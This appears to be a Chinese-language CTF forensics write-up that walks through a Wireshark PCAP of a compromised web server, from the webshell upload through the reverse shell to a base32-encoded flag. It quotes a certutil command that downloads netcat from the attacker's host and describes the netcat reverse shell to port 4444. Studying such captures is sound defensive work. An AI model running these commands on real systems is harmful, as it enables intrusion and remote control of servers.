题目如上图,有一台Web服务器触发了反病毒告警,但所有的系统管理员都说没登录过这台服务器。在关闭服务器拷贝硬盘数据之前,我们已经进行了一次网络流量捕获。下面就使用Wireshark来分析这个PCAP数据包。看看到底发生了什么。
数据包分析将下载好的pcap文件拖入Wireshark后,先使用 Statistics
->Protocol Hierarchy
,对整个数据包的协议数据统计进行大致了解。
如上图,可以看到整个数据包中,TCP协议占比97.2%。在TCP协议数据里,HTTP数据占了相当一部分。
另外,通过观察,可以看到通信两端分别为IP 22.22.22.7
和 22.22.22.5
这两台主机。
可以先使用过滤器http
查看下http的数据包。
如上图,可以看到22.22.22.7
这台主机一直在访问 22.22.22.5
这台主机的80端口,80端口对应着http服务。22.22.22.5
这台应该就是引起告警的Web服务器。继续看下这些http流量,可以看到22.22.22.7
调用了一个上传接口/upload.aspx
,在POST请求包中查看上传的内容。为了让数据显示更加友好,这里选中数据包,右键,选择 Follow
->HTTP Stream
。
如上图,可以看到通过上传接口/upload.aspx
上传了一个webshell到Web服务器22.22.22.5
上,webshell的文件名为:cmd.aspx
.
上传了webshell后,利用webshell去执行以下系统命令:
c:\windows\system32\cmd.exe /c certutil -urlcache -split -f http://22.22.22.7/nc64.exe c:\users\public\nc.exe
certutil
命令用于在Windows环境下下载文件,类似Linux/Unix下的curl、wget。
参考:
https://www.ired.team/offensive-security/defense-evasion/downloading-file-with-certutil
从这里可以看到攻击者利用webshell,从22.22.22.7
上下载nc
命令程序到Web服务器22.22.22.5
,可见22.22.22.7
其实也已经被攻击者入侵,并当作跳板机,攻击内网的其它机器(比如这里的22.22.22.5
)。
然后下一步就是通过webshell,在22.22.22.5
上使用nc
命令程序,将shell反d到22.22.22.7
主机上,如下图:
得到反dshell后,自然就是执行各种系统命令,那这些流量自然就是非HTTP的TCP流量了。从上图可知,反dshell的目的端口是22.22.22.7
的4444
端口,所以这里使用过滤器过滤出相应的流量,如下图:
为了数据包显示更友好,右键选择:Follow
->TCP Stream
。
如上图,可以看到攻击者原本想使用powershell
来下载 22.22.22.7
上面的一个txt文件到 Web服务器22.22.22.5
上,但报错说找不到命令。故再次使用certutil
命令来下载。
要下载的这个文件的文件名很长,像是一个加密后的字符串。笔者将它拷贝到CyberChef 进行解密。因为目前看不出它是用什么加密/编码方式进行的加密,所以这里选择 Magic 选项卡,“Magic” 功能可以根据输入的密文信息自动推测可能使用的加密方式,并使用对应的算法进行解密/解码。
如上图,可以看到CyberChef已经检测出这个密文是使用的base32进行编码的,解码后便得到这道题的flag。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)